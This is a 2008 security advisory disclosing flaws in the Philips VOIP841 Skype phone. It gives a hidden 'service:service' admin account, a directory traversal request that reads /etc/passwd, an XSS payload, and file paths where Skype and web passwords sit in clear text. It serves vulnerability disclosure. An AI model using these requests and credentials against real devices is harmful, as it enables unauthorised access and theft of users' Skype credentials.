Philips VOIP841 Multiple Vulnerabilities

2008-02-1500:00:00

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Secure Network - Security Research Advisory

Vuln name: Philips VOIP841 Multiple Vulnerabilities
Systems affected: Philips VOIP841, Firmware Version 1.0.4.50 and 1.0.4.80, Web Server Version 1.5 (simple httpd)
Systems not affected: n/a
Severity: High
Local/Remote: Remote
Vendor URL: http://www.consumer.philips.com/consumer
Author(s): Luca "ikki" Carettoni - [email protected]
Vendor disclosure: 23rd January 2008
Vendor acknowledged: -
Vendor patch release: -
Public disclosure: 14th February 2008
Advisory number: SN-2008-01
Advisory URL: http://www.securenetwork.it/advisories/, http://www.ikkisoft.com

*** SUMMARY***

VOIP841 is one of the first DECT cordless phones with an embedded Skype client.
Without a computer, it is possible to call directly other Skype users or international numbers using SkypeOut
as well as the regular PSTN line. It is important to notice that it is Skype Certified and presented as a best seller
on the "Skype Shop" online.

Multiple vulnerabilities have been found in the latest version of this VOIP phone, ranging from an hidden administration
account to XSS and directory traversal. Various consequences are associated with these issues, such as theft
of Skype authentication credentials stored in the phone and information disclosure.

In order to exploit some vulnerabilities, a regular user should be authenticated.
However, using the hidden administration account it is possible to easily bypass this security mechanism.

*** VULNERABILITY DETAILS***

(a) Hidden Administration Account
The device provides a comfortable web management console, protected with a basic HTML Authentication.
The default account is set to "Philips:voip841".

We discovered an hidden administration account which is probably used during technical remote assistance.
In the file "/var/cnxt/service", there is the BASE64 string "c2VydmljZTpzZXJ2aWNl" which represents
the account "service:service".

Using these credentials it is possible to login into the web administration console with admin privileges.
The previous user enables also a "secret" tab called [Change MAC Address] where it is possible (as the name implies)
to change the hardware address of the network interface.

(b) Directory Listing, Directory Traversal
The embedded webserver doesn't sanitize any kind of user input. The directory listing option is also enabled.
Using the previous account it is possible to browse every directory on the device and to retrieve the content
of any file with a simple HTTP request.

Let's see a self explaining example:

jungle ikki $ telnet 192.168.1.10 80
Trying 192.168.1.10…
Connected to 192.168.1.10.
Escape character is '^]'.
GET /…/…/…/…/…/…/…/…/etc/passwd HTTP/1.0
Host: 192.168.1.10
Authorization: Basic c2VydmljZTpzZXJ2aWNl

HTTP/1.0 200 OK
Content-type: text/plain
Expires: Sat, 24 May 1980.7:00:00.GMT
Pragma: no-cache
Server: simple httpd 1.0

root:x:0:0:root:/root:/bin/bash
demo:x:5000:100:Demo User:/home/demo:/bin/bash
nobody:x:65534:65534:Nobody:/htdocs:/bin/bash
Connection closed by foreign host.

(c) Cross Site Scripting (XSS)
Due to the absence of input filters it is possible to inject scripting code inside the 404 standard response page.
In this way it is possible to trigger XSS attacks with a simple HTTP request like the following:

GET /var/htdocs/<script>alert("XSS");</script> HTTP/1.0
Host: 192.168.1.10

<html><head><title>404 File Not Found</title></head>
<body>
httpd server: The requested URL '/var/htdocs/<script>alert("XSS");</script>' was not found on this server.
</body></html>

(d) Insecure Storage
Browsing the device filesystem, we have noticed the presence of sensitive information stored in an insecure way.

Just to show the possible risks, we report the possibility to retrieve Skype credentials used by the device
and inserted by the user during the configuration process.
In the file "/var/jffs2/data/save.dat", the embedded Skype client stores temporary information such as
the Skype account (username and password) in clear text.

Another issue is related to the change password procedure for the web management console: every operation
done on the web console is logged on a temporary file present in the directory "/tmp".
When an administrator changes the web authentication password, the old and the new values are revealed into
the file "apply.log" generated by the cgi-bin called "apply".

CUT HERE

<22:02:11.940000> apply cgi start…
<22:02:11.940000> Content length : 64
<22:02:11.940000> btn_action=admin&edit_pwd1=ikki&edit_pwd2=ikki&rb_defaults=rb_no
<22:02:11.940000> 0 : [btn_action] = [admin]
<22:02:11.940000> 1 : [edit_pwd1] = [ikki]
<22:02:11.940000> 2 : [edit_pwd2] = [ikki]
<22:02:11.940000> 3 : [rb_defaults] = [rb_no]
<22:02:11.940000> Action : [4] admin
<22:02:11.940000> OldUser:philips:voip841
<22:02:11.940000> NewUser:ikki
<22:02:11.940000> Encoded:philips:ikki

CUT HERE

*** EXPLOIT***

Attackers may exploit these issues through a common browser as explained
above.

*** FIX INFORMATION***
n/a

*** WORKAROUNDS***
n/a

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